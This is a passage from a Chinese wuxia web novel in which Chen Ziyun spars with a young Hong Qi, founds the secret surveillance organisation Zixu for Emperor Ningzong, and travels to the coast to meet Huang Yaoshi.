这帮家伙似乎看陈子云已经上当,连掩饰都不想掩饰了。这不直接等于告诉陈子云,他们就是因为知道了他不擅长剑法,才跟赵猛一起布下了这个局的。 赵猛瞪着牛眼跟那些人对视了一阵子,终究是没有再说什么。 “无妨,剑法而已,这就好了。” 陈子云随手转动剑柄,就在空中舞出朵朵剑花,再也没有丝毫滞涩之感。 赵猛不可置信感到看着这一幕,对于一生痴迷于剑的他,简直像是看到了神迹一般。 第一百五十九章 会飞的剑法 “你……” 赵猛此时是多么的想问陈子云是如何做到的,可惜陈子云却没这个跟小孩子玩闹的心思。 “废话就别说了,我刚才即兴悟出了几招剑法,你要是能突破我的招式,就算你赢了。” 陈子云也不等赵猛回答,直接一剑向天。 众人只觉得眼前一亮,似乎这大殿里的所有烛光都齐刷刷的暗了下去,就剩下那中央的陈子云手中的长剑发出的那一道摄人的剑光。 随即陈子云一剑指地,整个殿堂里的烛光又再次大放光明,似乎比任何时候都明亮,而陈子云那道剑光所在的地方却是暗黑的像是个黑洞。 陈子云再次出剑,这次的剑没有挥出而是跟在了他的身后,而他整个人则从大殿的中央升起。 “飞起来了,子云师傅又飞起来了。娘娘,这下你相信了吧,妞妞可没有骗你呢。” 小公主看着陈子云那飞天一般的剑招,兴奋的对着自己的娘娘说道。 可此时的韩皇后哪里还能回答她,这世间最让人震惊的事情,也比不了一个肉体凡胎的人类在自己面前飞天而上。 这是所有人类,对天空翱翔最本能的向往。可知道其中不可能之处的人,则更是惊讶于此时陈子云所表现出来的绝世风姿。 陈子云在接连使用瞬息千里,梯云纵,金雁功之后,头顶几乎已经碰到了这座大殿的穹顶。 随即整个人倒转而下,一剑朝着赵猛的头顶刺下。 瞬息之间就要将这大汉的头顶贯穿。 “住手。“ “子云。” 宋宁宗跟韩侂胄几乎是同时出口的。 也就是当朝这两位最具权势的大人才有这个心性,能在陈子云这样的震慑下及时的从震惊中回过神来。 陈子云在落地的瞬间,在赵猛灰心欲死的那刻,收剑回鞘。 随着一声收剑的脆响,大殿中的其他人才回过神来,纷纷不可置信甚至惊恐不安的看着陈子云那持剑而立的身姿。 似乎是在看一头下山的猛虎,或者说是过江的蛟龙。 “这这这……这怎么可能,世间怎么会有这样的剑法?” 赵猛缓缓从刚才陈子云那当头一剑的大恐怖回过神来,可是那颤抖的身体还是在告诉着人们,当时这位昂藏大汉到底经历了怎么样的碾压。 叮铃当啷,赵猛手中的长剑掉落。 这对于熟悉赵猛的人更是感觉到不可思议,要欺负赵猛可以,可是要让他放开手中的长剑却是难之又难。 此人虽然鲁莽,但是此人对练剑的执着却是被所有同辈的勋贵子弟认可的。 “妖术啊,陛下这是韩家的妖术啊!” 终于有人是被吓破了胆,指着韩侂胄跟陈子云开始胡言乱语了。 他这话一出,不仅仅是韩侂胄铁青了脸,就是宋宁宗也不再客气了。 “慎言,难道卿家忘了汉武时的巫蛊之祸了吗!” “臣下不敢。” 那人似乎也意识到了自己的失言,连忙跪趴在座位之侧,同时有些不安的瞥了韩侂胄一眼。 可此时的韩侂胄哪里还是那副相忍为国的宰相摸样,那眼中的杀机简直就要直接跳出眼眶来了。 巫蛊之祸是什么,那可是让汉武帝杀了数十万人,甚至连自己的皇后和太子都自杀的祸端。 而死的最多的,最惨的不就是当时的那些跟皇后卫子夫有关的外戚吗? 这不就是跟韩侂胄现在的身份完全对上了,这老东西是要做什么,是要将他们韩家如当时的卫家一样斩尽杀绝吗? 要是这都能忍,他韩侂胄还怎么当这个一朝之相。 完了,那人也终于意识到了问题的严重性,两眼一黑直接就晕了过去。 其他人怜悯的看了这个当堂晕厥的官员,都知道这家伙彻底完了。 不管他现在是真晕还是假晕,韩侂胄是绝对不会放过他的,就是连宋宁宗都不会姑息。 汉武帝的前车之鉴实在是太惨烈了,尤其是宋宁宗还是个子嗣不昌的皇帝,最是容不得这种骨肉相残的事情。 经过这么一番折腾,陈子云这边是彻底的轻松了,没有人再会自找没趣的凑上来找不自在。 那些小家伙甚至连往他这边看的目光都不再有了,显然是被刚才陈子云那超出他们认知极限的表现给彻底震慑住了。 估计以后但凡碰到陈子云在街上,这些个不可一世的勋贵子弟们,都会绕着他走了。 宴会散场之后,韩侂胄满怀笑意的载着宋宁宗赏赐的的礼物回了家。能让他这么高兴的自然不是这些象征意义远远大于实际价值的礼物。 而是宋宁宗赏赐的份额,他这边是最大,最隆重的。 此时的韩侂胄,就像是个在年会被点名表扬的打工仔一样的心情。 而韩夫人倒是更好奇陈子云那神奇的飞天剑法,似乎这位宫廷出生的贵妇人曾几何时也有过浪漫的江湖幻想。 陈子云挑拣了一些韩夫人能听得懂的武学道理,解释了一番。 在“原来如此,子云厉害”的感叹声中,满足了这位嫂嫂的好奇心。 陈子云回到了自己的书房,虽然此时已经是过了子时,到了来年了。可他还没有睡觉的心思,倒不是酒喝多了,而是他实在是吃的有些撑了。 不消消食,今晚怕是睡不着喽。 不过陈子云一进书房,就知道自己今晚的消食对象已经来了。 “出来。” 陈子云一声轻喝。 原来他刚才在开门的时候,发现了一股陌生的并且气息悠长的呼吸潜藏在附近。 是个高手,而且是几层楼那么高的那种。 陈子云大致一想就猜到了对方是谁,不过不管是谁,今天晚上的运动量就靠他了。 “嘿,偌大的宰相府,客人大年三十上门,却连个招待都没有,真当是……嗯,大大不妥。” 那声音刚听时似乎是从屋顶传来的,可到了后面又似乎在屋里,可当你仔细听的时候,却发现又跑到屋外去了。 有些门道。 “善客上门,自然奉茶,恶客上门,就是棍棒。至于是乞丐上门吗,那就只能是……” 陈子云话没说完就朝着一个方向点出了一指。 “啊呀,你偷袭。” 窗外一声惊叫,随即是重物落地的声音。 第一百六十章 窗外君子 陈子云有些惊讶,不是因为对方的不堪一击,恰恰相反,他知道自己的那一指并没有真正的伤到对方。 因为不可能对方在挨了自己一指之后,还能这么中气十足的惊呼出来。 果不其然,窗户被人从外面打开了,一只只有四个手指头的粗壮的手掌攀在窗沿上。 陈子云倒不是介意在书房接待人,可一想到泥瓦巷里的肮脏摸样,就直接喝道:“出去。” 随即再次点出一指,并且整个人也朝着窗口而去。 “还来。” 那人又是一声惊呼。似乎是知道了陈子云的指劲的厉害,连忙闪躲。 “跟我走。” 陈子云在窗沿上一踏,一个纵身就上了屋顶,几个闪身直接出了韩府,朝着城北的泥瓦巷而去。 等陈子云再次停住脚步,人已经站在了当初那个乞丐窝的房顶。 这里被官府封了一段时间,但是终究还是再次被乞丐占据了。当然这些乞丐不再是那些有组织拐卖孩童的的恶丐,只是普通的乞食者。 等了稍许,那个九个手指头的家伙终于是跟上了。一张长方脸,颏下微须,粗手大脚,身上衣服东一块西一块的打满了补钉,却洗得干干净净,手里拿着一竹杖,背上负着个朱红漆的大葫芦。 “佩服佩服,我洪七虽然不是擅长于脚力,可自问能甩我一条街的人物,当真是天下第一份。” 此时的洪七还不能被称为公,毕竟他现在不过是三十几岁的年纪。手上也没有那根象征着丐帮帮主的绿玉打狗棒,只是一根快包浆的普通竹竿。 “丐帮?洪七?” 陈子云冷声问道。他可不管对方是不是以后那个自称手下杀过二百三十一人,却人人其罪当诛,生平未曾错杀一人的盖世豪侠。 在他眼里,既然对方是丐帮的,还是未来的丐帮帮主,那钱老大这些丐帮人惹下的账,他自然也逃不了。 “韩二爷,说的不错,乞丐我正是。此次不请自来,只是因为……” 洪七抬手抱拳,似乎想解释什么。 陈子云却挥挥手,打断了对方。 “我并不在意你为何而来,既然你来了,那就先陪我打一场,反正热身运动也做好了。” 洪七听陈子云如此说,先是皱了皱眉头,因为这与他的打算有些不符。 其实他之所以这大年夜的找上门,也是没有办法。 他是被现任丐帮帮主——钱帮主给临时拉过来的。因为收到了临安分舵被官府捣毁的事情,让他来查个明白。 而洪七也知道,临安的这位钱老大与自己的帮主有千丝万缕的关系。 对于钱老大的突然死亡,钱帮主自然是气愤的,所以才将还在北方处理一件大事的洪七给硬拉了回来。 因为洪七的武功威望如今已经是丐帮里绝对的第一人了,虽然现在还是钱帮主当家,可丐帮的所有弟子都知道,洪七当帮主已经是铁板上钉钉的事情。 为了给这钱老大报仇,钱帮主甚至暗示了洪七,只要帮他办妥了这件事,他就提前退休,退位让贤。 洪七此时毕竟还年轻,要说对丐帮帮主之位没有想法,那也是不现实的。可他洪七也不会为了能早点当上帮主,就不分是非的肆意杀人。 所以他来了临安之后,就用了各种办法调查临安分舵被官府捣毁的前因后果。 为此,他甚至不惜潜入了府衙的档案室偷看档案。当看到卷宗上写着拐卖孩童数百人的时候,洪七差点就想再把钱老大从坟墓里拉出来打上一掌亢龙有悔。 不过洪七作为乞丐,天然的就对于官府不信任,他还通过向一些遗留的丐帮弟子,以及普通的泥瓦巷住户打探了详情。 结果,事实更让他失望,官府记载的几百儿童可能还是少报了的。根据这些住在泥瓦巷的人讲,几乎他们每天晚上都能听到孩童的哭嚎之声。 这样的情况,最早可以追溯到三年之前。 洪七当时就想着要把钱老大挫骨扬灰了。 不过其中的一个人物的出现,当然也就是陈子云了,让他产生了兴趣。 在检查了钱老大的伤口之后,立刻断定陈子云绝对是一个武功不弱于自己的高手。 而当匆匆从北方赶来的洪七搞清楚了事情的来龙去脉,才发现已经是大年三十了。 年三十不要账,是老人们自古相传的人情道理。 所以洪七也是直愣愣的在韩府外等到了子时,可他却没料到,陈子云他们一家过年竟然不在家里过。 所以他就只好又在陈子云的书房窗子底下蹲了许久,直到陈子云一指点破他的行踪。 不过话说回来,虽然他已经明白临安分舵是咎由自取,与陈子云并无仇怨,但他洪七什么时候拒绝过挑战,尤其对方还是个难得的高手。 “好,那就好好的打上一场。” 洪七大声一叫,却是把底下窝在房子里睡觉的乞丐们给惊醒了。借住的乞丐们骂骂咧咧的出门查看。 他这也是好心啊,怕自己跟陈子云打起来殃及了这些无辜之人,故意将他们惊走。 “看掌。” 洪七到没有矫情,也是因为陈子云已经在刚才对他出了两指了,自己先出手也不算占人便宜。 洪七一出手就是震惊百里,在震惊陈子云的同时,也把下面的乞丐彻底惊走了。 “不差。“ 陈子云见猎心喜,暗道这才称得上降龙啊,钱老大的那种,降猪都难。 “大寒。” 陈子云同时一指点出,乃是二十四节气惊神指里最具威力的一指,大寒一到,滴水成冰。 而且冬至在月头,大寒年夜交。此时的大寒一指,也算是应时应景了。 “咦,好冷好冷。” 洪七也是体会到了这一指中间的森森寒意。随即手上一变,双龙取水,分别攻向陈子云的前胸和腰肋。 “好。” 陈子云也是一声赞叹,随即左手也同时点出,一指惊蛰迎了上去。 纤细的四根手指,跟洪七粗壮的威势惊人的手掌相撞。 陈子云竟然放弃了指法的灵巧之便,以己之弱攻敌之强,实在是昏了头了。 咔哒一声,这声响不是从他们交手的指掌间传来的,而是他们脚下的青瓦。 明明都是鼓足了真气的一招,两两相撞,却被他们两人自身的卸力技巧给消耗的差不多了。只有陈子云这边下意识的将力道往脚下导的时候,没有意识到底下的是不受力的青瓦,故才有此声响。 第一百六十一章 三杯酒 洪七略略的歪嘴,显然他对于能占了陈子云这么一点便宜也是得意的。 可陈子云却是不在意,或者说是越发来了兴致,相思小刀出鞘,不,准确说是出袖。 一抹嫣红的刀光,在无月的星空下闪过洪七的心头,彷佛那道红光就是自己即将被斩出的鲜血,吓得他连连后退。 在后退的同时右手在腰间一抹,那被他插在裤带上的包浆竹竿随即如丝线一般的弯曲。 杆子的尖头,同时也是力道最浑厚的一点,抚琴似的在相思小刀的刀背上一点。 “叮……” 一声犹如钟罄的低吟之声,响彻四周。 “打狗棒法。” 陈子云拉着手中的金属丝一扯收回相思,脸上也是稍稍有些差异,明明此时的洪七还不是丐帮帮主,却已经学了这代表着丐帮传承的打狗棒法。 “识货。” 洪七笑着赞了一声,手上却是不停。一根老棍竹竿舞得都似乎没有胫骨,在他手上肆意变换。 刀法,指法交错,陈子云也是打的甚是尽兴。除了那搏命的手段,这次遇到未来的北丐不只是让他消食了,连长久的无人可做对手的苦闷也消散了不少。 恨不得就将这正当年的洪七就留在临安才好,最少手痒的时候能有个过瘾的对象。 可对面的洪七却是越大越心惊,不说降龙十八掌跟打狗棒,就是连他不怎么用的逍遥游都已经打完了。 可对面的这家伙就像是内力无穷无尽,身体也完全不知道疲惫似的。在这么打下去,没分出胜负,他到时要先举手投降了。 洪七勉力的又出了一招亢龙有悔,随即用逍遥游的身法就往后退了两步,看着陈子云还想追上来的样子,连忙出声制止。 “诶,诶,等等,等等,歇会儿,先歇会儿。不过,我这不是怕你啊,是我今天晚饭还没吃,所以没力气而已。” 这个时候的洪七还不是那个神龙见首不见尾的北丐,这种不认输的劲头也是正常的年轻的人的自尊心作祟。 其实此时的陈子云也是过足瘾了,也就暂且运气调息。跟洪七的这一战,要是说他全然没消耗,那也是不可能的。 只是他前面确实吃了一堆好东西,体力充沛,再加上多年累积的内力也不是此时的洪七能比的。 对于能赢洪七也没有太多的意外,更不至于因此而自满,毕竟他也是跟中神通切磋了许久的人。 “既然如此,那这顿晚来的年夜饭,就让我这个东道主来请你吧。” 陈子云心中的对于丐帮的不满,以及对于洪七的火气,此时也散的差不多。 其实对于见惯了世态浇漓的陈子云来说,没有什么太久的怨恨能蒙蔽他的眼睛,对于那些拐卖小孩的乞丐也是一时的激愤。 “那怎么好意思呢。” 虽然洪七此时已经食指大动,可终究还是要顾着丐帮的脸面。 “行了,这个时候,就算你是丐帮帮主,怕也是难以在这临安城里讨到饭的。” 陈子云带头就往韩家开的酒楼去了,虽然这个时候也可能已经关门了,可总有个看家看护的人在,只要自己去了,难道还能饿着自己。 看店的伙计,将厨房里现成的风干的鸡鸭,卤制好的牛肉,还有各种腌菜瓜果都给陈子云他们上了不少。 至于酒吗,直接就从酒台上自己拿了两坛。 陈子云将一坛酒抛给了洪七,对方毫不做作的接过。率先就给自己倒上了一大碗,倒不是这个爱好没事的乞丐头子酒瘾犯了。 只见他,双手抬起酒碗,朝着陈子云一敬。也没说什么话头,就直接一饮而尽。 “要说拿着韩二爷送的酒给我丐帮临安分舵干出的这些腌臜事情道歉,我洪七干不出这样的糊涂事情。” 洪七郑重的说道。 陈子云好整以暇的看着,听着。 “可谁让洪七我是个乞丐头子呢,今天我就斗胆向韩二爷讨上三碗酒。这第一杯我敬那几百个可怜的娃娃的,我洪七在此指天为誓,就算是穷极一生,也必然要找到他们的下落,将他们带回到自己父母身边。” 洪七又仰头喝下一碗。 陈子云神情也郑重了些。 “这第二碗,我敬韩二爷,谢二爷帮我丐帮清理门户。” 洪七又喝一碗。 可陈子云却是迟迟没有给自己倒酒的意思,很明显,他不接受洪七这一敬。 洪七略微有些尴尬,可随即就又给自己倒了一碗酒。 “这第三碗,我敬钱老大以及那些所有参与了拐卖勾当的杂种们。” 陈子云听到这里已经皱起了眉头,甚至连眼神都变得犀利。 “嘿,朝廷的法度执行完了,我丐帮的帮规可还没执行呢。只要我洪七一天还是丐帮的长老,你们这些不管是活着的还是死了的,都别想逃过我的三刀六洞之刑。” “好,那这一杯我就陪你喝。” 陈子云举起手里的酒碗,朝着洪七的酒碗一撞,随即一饮而尽。 “哈哈哈,不错,不错,这才是恩怨不相饶,善恶都有报,好一个北丐。” “哈哈哈……” 洪七饮了酒也是大笑不止。陈子云不仅武功上不输自己,甚至连性格上也与自己相近,这让他这个时常混迹丐帮与江湖的浪人,也有种遇到知己的感觉。 人常说高处不甚寒,因为当你站在了一定的高度之后,很多人和事,不仅是你自己的眼光和态度不一样了。 就是连周围的人也变得不同了,他们开始仰望你的同时也开始疏离你,这并不是他们有意为之的,似乎是一种不可抗拒的命运之力。 就像是喜马拉雅山从海洋中拔地而起,他的山顶也许会有以前遗留下来的鱼类的残骸,却再也不会有任何一条活鱼存在。 而此时陈子云的出现,就像是一座比肩甚至可能还要高上半分的山峰与喜马拉雅相伴。 让它不在孤单,也不需要故意低着头与峰下的群山交流,他们可以平等的,畅快的对话。 相比于王重阳的那种好为人师广收门徒的一代宗师,洪七这样的更多江湖气息的浪子,也给陈子云带来更多的趣味。 虽然他依旧不怎么待见如今的丐帮,可这并不妨碍他跟喜欢与这位难得的能肆意出手,也能肆意谈天,不需要维持对王重阳那种敬重的氛围。 …… 第一百六十二章 子虚 “洪七啊洪七,你为什么不直接就叫洪十八呢。这天下间还有谁比你更适合这降龙十八掌啊!” 陈子云在第五次领教了洪七的降龙十八掌之后感叹道。 “是啊是啊,子云师傅说的不错,洪十八也比洪七好听的多呢。” 却是在一旁观看陈子云跟洪七切磋的小公主赵茵萝附和着。 自从跟洪七吃了那顿年夜饭之后,陈子云直接就把人领来了自己的院子里。 而为了不耽误治疗小公主,也顺便让洪七来一同帮他看看。虽然洪七并不擅长岐黄之术,但是作为难得的高手,总能帮陈子云印证一番他的治疗方案。 而对于这个穿着奇奇怪怪的魁梧男子,赵茵萝却是欢喜的很,只因为洪七在知道陈子云跟她的关系之后,开口就是一句“嫂嫂。” 这一声虽然是把赵茵萝吓的一惊,可同时有种出于内心的欢喜。 虽然陈子云也经常被称作自己的驸马,可那种称呼更像是在说一个到处可见的官职。 而嫂嫂二字,很明显就是在称呼自己的亲人。这让小公主觉得自己像是被婆家认可了似的,虽然这只是她这个天真少女的幻想,但也足够让她欢喜了。 “呵呵呵,这可没法子,谁让洪七的爹娘只生了六个兄姐,要是生了十七个,那我自然就是洪十八了。” 洪七乐呵呵笑着跟小公主玩笑着。 “那你可以自己娶了媳妇,再生个十八个,到时候你也可称为洪十八啊,十八个孩子的洪十八。呵呵呵呵。” 小公主自从身体好了些之后,心胸也跟着开朗了,这样的玩笑她以前怕是想都没有想过的。 “不不不,谁会愿意嫁给一个乞丐啊。倒是嫂嫂与子云的姻缘天祝,到时候生十个八个的倒是美事。嘿嘿嘿。” 乞丐这是也犯浑了,直接把小公主羞的就要往院子外跑。 “别上当,他是故意想支开你,好不教你逍遥游呢。” 陈子云也是看戏不嫌热闹大,在旁边怂恿了一句。 洪七一脸无奈的指指陈子云,似乎在说戳穿就不够意思了。 “啊呀,好哇,你个洪七看着老实,原来说话不算。明明是你自己输给我的,却要抵赖。” 赵茵萝昨天见到洪七在跟陈子云比试中显露出了逍遥游的步伐,很是喜欢那种飘然若仙的身姿。 而洪七本来是知道陈子云已经在教小公主的,自然不会犯这样的忌讳。可又不好当面拒绝,就提出他耍两招,要是赵茵萝能在一炷香之内学会,他就救。 陈子云当时就听的直摇头,虽然赵茵萝内功因为身体问题,难有成就,但是在学武功招式这一块却是难得的好材料。 赌注自然是洪七输了,他当时还大骂陈子云不地道,竟然不事先提醒他赵茵萝有如此天赋,这明显是夫妻两人合伙起来骗他的武功。 不过这也就是说笑。 陈子云展现出来的身法,本就在逍遥游之上,而且他这些天通过跟陈子云交手获得的好处,也远远超过这一套逍遥游的价值。 于是洪七又在公主府留住了几天,在小公主特意吩咐厨房好吃好喝招待的同时,学了不止是逍遥游一套武功。 不过身为丐帮下一代帮主的洪七,注定不可能在临安长留,等小公主学的差不多,陈子云在临安城外亲自为他送行。 “不知道为何,我有一种很预感,等再次见面,我们可能还会打架。” 洪七说的时候是笑着的,但是陈子云能看得出来,他并不是随意之语。 “也许吧,毕竟丐帮这种组织,很难被朝廷认可的。” 陈子云也没有想到,如今看似随意的一句话,却不想一语成谶。 元宵节,本来应该是上街赏灯的时节,陈子云却被宋宁宗给召进了皇宫。 等他出来的时候,手里拿着一道盖了玉玺印章的旨意,以及一个看着不怎么值钱的令牌。 黑铁一般的令牌,正面是两个字“子虚”,背面则是一个“天”字,几朵乌云围绕着,给这突兀的天字几分真实感。 …… 岁月轮转,光阴不息。两年时间弹指间而过,而陈子云跟赵茵萝的婚事也已经在一个月之前举行。 皇帝独女下嫁当朝宰相的弟弟,婚事场面的光想想就知道有多么的恢宏。 不是陈子云贪恋权位,也不是跟小公主日久生情,能让他答应这场婚事的唯一的理由就是,赵茵萝的病并么有完全治好。 不错,就算是陈子云这两年来不曾间断的引导赵茵萝体内的内息按照先天功的运功路线修行。 也只是在一定程度上增强了她的肺腑,可那深藏在赵茵萝体内的病根却依旧还在。 但凡小公主一旦运动过量,那浑身冒汗就像是一个被扎破的水袋一样,根本止不住。 经历过几次之后,陈子云也明白了,这可能还是他的问题。 以前的赵茵萝就是个先天性的病秧子,虽然体弱,但是也不至于这般的表现。可当陈子云用先天功开发了她的身体潜能之后,体内的虚不受补,导致了这种病症的产生。 这一度让陈子云很是自责,为何当初要这么莽撞的给她治疗。 如今害得这位小公主,一旦离开他就得不到生命的保障,简直是自己作孽。 所以对于这场婚事,陈子云不过是抱着看戏的态度扮演一个新郎倌的角色而已。 小公主倒是激动的很,可到了洞房火烛夜的时候,陈子云只是把她哄睡过去就算是完成了任务。 第二天看着小公主煞有其事的挽起了妇人的发髻,还让陈子云陪着他去拜见了韩侂胄跟韩夫人。陈子云只是觉得有些可爱,当然也有些好笑。 也许是陈子云这两年教的好,赵茵萝已经习惯了称呼他为子云师傅,即使成婚了也不曾改口,陈子云自然是求之不得。 一个十六岁的小姑娘,陈子云不过是真的当她是自己小徒弟罢了。 “子云师傅,到底是什么时候我才能学你的惊神指啊?” 赵茵萝扯着陈子云的袖子,半委屈半撒娇的说道。 第一百六十三章 黄药师的消息 陈子云指指他老早就放在院子中间的一个太极人形靶。 “不管你问多少次,答案都一样,哪天你能用太极将这个靶子打倒,我就教你指法。” 其实这也不过是陈子云安慰她的话而已,二十四节气惊神指,看着出招的时候潇洒,可这指法既然能叫惊神指,那自然是极其霸道的功夫。 以赵茵萝的体质,估计这辈子都不可能真达到修习的要求。以她现在的体能,由陈子云改良出来的太极拳才是最合适她的,不仅能修身养性,也能让她有一定的自卫能力。 对于她一个长在深宫,养在公主府的小公主也够用了,难道还真指望她去行走江湖不成? “呜呜呜,我不么。那个坏木头人,怎么打他都不会倒的,人家要学惊神指么。” 这就是赵茵萝完婚之后的差别,学会了死缠烂打,要是在以前她可没这么大胆子。 “嗯?” 陈子云正想摆出师傅的威严,教训一下这个日渐猖狂的小徒弟,一个身穿玄色劲装的人突然的出现在了小院。 陈子云皱皱眉头,赵茵萝则是立刻止住了话头,乖巧的自己出了小院。 “什么事?” “二爷,您吩咐关注的那个来自东海的怪人出现了。” 那人恭敬的答道。 “哦?” 陈子云难得的露出了一丝期待的微笑。 “通知天部,桃花岛潜入计划正式启动,开始向东海倾斜资源,以此项计划为第一优先项。” “是。” 那人随即消失在小院里。 陈子云这才回头,朝着刚才赵茵萝走出去的地方,看了一眼。 “还不出来?” “哎呀,子云师傅,人家只是好奇嘛。你又不让我参与子虚的事情,连爹爹也不肯告诉妞妞,他也不疼妞妞了。” 赵茵萝原来并没有真的离开,而是躲在了一个角落里偷听。 这个所谓的子虚,就是两年前宋宁宗让陈子云建立的组织,唯一的目的就是监视江湖上的一举一动。 宋宁宗也是见识了陈子云那种匪夷所思的本事之后,才开始重视这帮本来不被他放在眼里的江湖莽汉的。 虽然在陈子云的解释下宋宁宗也知道,不能以陈子云的水准来衡量这个江湖的实力。但是只要有那么一个两个像陈子云这样的人物,也足够引起宋宁宗的不安了。 要是没有相应的人物抵挡,朝廷又不知道他们有没有异心。这样的高手如果真的想干刺杀的事情,不说皇宫大内的皇帝,就是刺杀成功一个当朝重臣,也不是宋宁宗能接受的。 所以,子虚就是在这样的情况下建立的,下设天地玄黄四部。 以陈子云为天之主,负责统筹;地部负责具体的执行,算是个武斗部;玄部负责收集江湖上的各种信息情报,分析哪些人物会对朝堂构成威胁;黄部人员最多,三教九流,没有具体的职责,就是一颗颗暗子,镶嵌在天下的各个角落。 当时宋宁宗也就是给了陈子云一道不能公开的圣旨以及一块可以证明身份的令牌,至于人员都要靠陈子云自己去招募。 而且为了不引起当朝官员的反对,明面上他是不会承认有这样的编外的暴力机构存在的。 当时要不是宋宁宗话里话外的暗示,这股力量可以为陈子云自己所用。即可以用来保护公主府,自然也可以保护韩家,只要他不造反,朝廷就不会插手。 而且还许诺陈子云还可以在一定程度上调用当地官府的力量,宋宁宗给了他十个正式宫廷侍卫的配额。 一旦亮出这种身份,在地方上基本就是钦差了,可以说是见官大一级。只要说一句是给官家办事,自然可以便宜行事。 而陈子云也想到了韩侂胄在历史上的下场,心想有了这股力量,总不至于自己万一离开了,韩家连个能用的人都没有。 至于说皇帝的庇护,还是算了吧。为了这南宋的江山,没有什么是一个帝王不可以放弃的。 或者说他也必须要放弃,要不然他就会成为史书上那些个为了私心枉顾天下的昏君。 所以经过陈子云两年的经营,起码在南宋的境内基本已经遍布了子虚的眼线。 也有些细微的根系,通过一些掩护慢慢的向着周边的几个国家渗透。 而刚才来报信的那位玄衣男子,正是负责收集情报的玄部安插在临安的一员。 至于那位消息中来自东海的怪人,自然就是那个性情偏激不守礼法的东邪黄药师了。 陈子云找他的理由也很简单,就是希望这位博学到几乎无所不通的怪才,能帮小公主看看病。 既然能研究出九花玉露丸这种神奇的药丸,想来黄药师在医学上的造诣应该不会比宫廷里的御医差。 “这次就带你去见见吧。” 陈子云摸摸赵茵萝的头发说道。 “真的吗?” 这可把小公主给高兴坏了。 “这次一旦出去,可就没有这么多嬷嬷丫鬟听你使唤了。” “我才不用呢,以前是我身子不好,现在我自己一个人也能照顾自己了。” “哦,真的?” “君子一言。” “好。” 陈子云又进宫给皇后娘娘做了好一通的思想工作,才在对方的万般不舍之下答应了他带着小公主去找一位不听皇家招呼的奇人治病。 至于宋宁宗,陈子云早就把公主的情况和黄药师的本事都汇报过了。这次发现黄药师出了桃花岛,宋宁宗的期许可能比陈子云的还大些。 可同意是同意了,却跟陈子云计划中的轻车简行不同。不说公主那架八匹大马才能拉得动的超豪华马车。 就是后面跟着的各种行李以及佣人,也都是不比一般富贵人家的豪华配置差。 这哪里是去找人治病啊,就是一个小型商队也就这么些家伙事了。 不过没办法啊,韩皇后爱护起自己的女儿来是完全不讲理的,要是陈子云不答应是不可能带着赵茵萝出来的。 陈子云不由得担心,按照黄药师那种古怪的个性,要是遇到他们这队人马。不说求人治病,能不能见到都难说啊。 第一百六十四章 三月十五,碧海潮生 洪七公可以说是神龙见首不见尾,可终究丐帮的家大业大,北丐之名也是天下皆知。而这位东邪,基本是生活在自己的小圈子里的,就算是后来得到了天下五绝的名头,外人都不怎么知道这位人物到底身在何方。 看他把桃花岛经营成了东海禁地就知道,这位才高不知道几斗的天才,是如何的看不起普通人的。 要是自己带着这么多人上门,估计对方直接丢下一句不救,就走了。 所以啊,陈子云看着如今这浩浩荡荡的队伍,实在是说不出的忧愁。 不过好在这份忧愁不久就被马车里那个从来没有出过临安的小公主,对这一路风景的赞叹声消融了。 “子云师傅,原来水可以这么清澈,天空可以这么开阔,就连山岳也是如此的雄伟,与院子里的完全不一样啊。” 是啊,就算是作为南宋最为高贵的明珠,却也不过是一只久困樊笼的金丝雀而已啊。 这天下的广阔,这山河的美景,恐怕也就是在书里读到过吧。 “山虽高,里面却都是豺狼虎豹;水虽澈,同样也是遍布溺水亡魂。” “咦,子云师傅,你真是坏,明知道我第一次出来,还扫人家的兴致。” 赵茵萝嫌弃的娇嗔道。 陈子云自然不会上她的当,这丫头虽然足不出户,可她看的书早就足以让她知道这天下之事了。 陈子云敢说,就是一般的举人进士也不一定有赵茵萝的博闻广识。不是说她看的书比那些老学究还丰富,只是双方注重的方向不同。 小公主完全是根据自己的爱好,什么时候来了兴趣就往那方面钻研。而那些为了应考而看书的读书人,则只能在闲暇时才能消遣的看看杂书。 所以陈子云才说,在广博方面,赵茵萝是有优势的。 “这些山山水水,你在书里看看还是能领会到几分神采的。你还是把你的好奇心留到等你看到大海的时候吧,那种壮阔可不是几行文字就能让人明白的。” 陈子云道。 “真的?就像元威明的诗里说的‘曾经沧海难为水’那样吗?” 赵茵萝眼中有些不可名状的意味,细细的盯着陈子云看。 “等你看到就知道了。” 陈子云却似乎没有看到似的,望着远处的群山说道。 其实小公主这句话,也勾起了陈子云对于往事的回顾。曾经沧海啊,也不知小非烟跟芷若在那两个世界过的如何了。 陈子云一行人一路来到南宋的庆元府,也就是现在的舟山市。根据子虚收集到的消息,黄药师上次露面就是在这里。 至于现在吗,只能是一边等消息,一边看运气了。 毕竟以黄药师的本事,要让子虚的人长时间盯上也是不现实的。 所以陈子云一路也没有催促游游逛逛的赵茵萝,反正与其现在的紧赶慢赶,还不如等到了地方安顿下来之后,自己再亲自出马寻找黄药师。 效率肯定比带着这个小商队一般的行伍去找黄药师高。 所以即使不过是五百里的路程,走了将近小半个月他也没有催促。 而一到庆元府,陈子云就直接将这队人马安排进了已经提前让子虚的人买好的宅院里。 一来是让舟车劳顿的赵茵萝可以好好休息,二来么,陈子云也能放开手脚跟这位黄药师好好过上几招。 为什么要跟有事相求的人打一架,因为对方已经伤了子虚的好几个人了。虽然没有下杀手,可也基本都是伤筋动骨了。 而对方也让人带话给了陈子云这个幕后操纵者:“藏头藏脑,鼠辈所为;三月十五,玉盘云树;东海之滨,静候佳音。” “好啊,好一个东海之滨,静候佳音。那就让我见识一番碧海潮生曲,到底是如何的滋味。” 陈子云给那些受伤的人批了几天的带薪假期之后,心里也是给黄药师下了几句狠话。 好言安慰了在路上玩的有些脱力的赵茵萝,三月十五的天空下,陈子云踩着月光朝东而行。 “‘海上生明月,天涯共此时。’黄药师你倒是选的好时辰。” 陈子云早早的就来到了海岸边,看着天上的玉盘与碧海潮汐相互映衬的美景,着实让人有种怡然出世的向往。 “难怪这黄药师愿意隐居桃花岛,十几年不出来。” 有人说,东海之滨如此辽阔,陈子云要如何才能找到黄药师。 嘿,这还不简单,你听,那碧海潮声之中,不就有一首动人心扉的乐曲在演奏吗。 陈子云运起瞬息千里,在海浪与礁石之间穿行,脚尖似乎永远不会真正的触碰到沙地。彷佛是仙人一般,在踏着曾经的上洞八仙跨海东游的步伐而行。 箫声呜咽,本来应是悲凉凄婉乐章,在此时的东海之滨,陈子云却听出了其中的几分随着潮涨潮落的磅礴气概。 能把一首碧海潮生之曲演绎到这般境界,也可以说是与天地共鸣了。 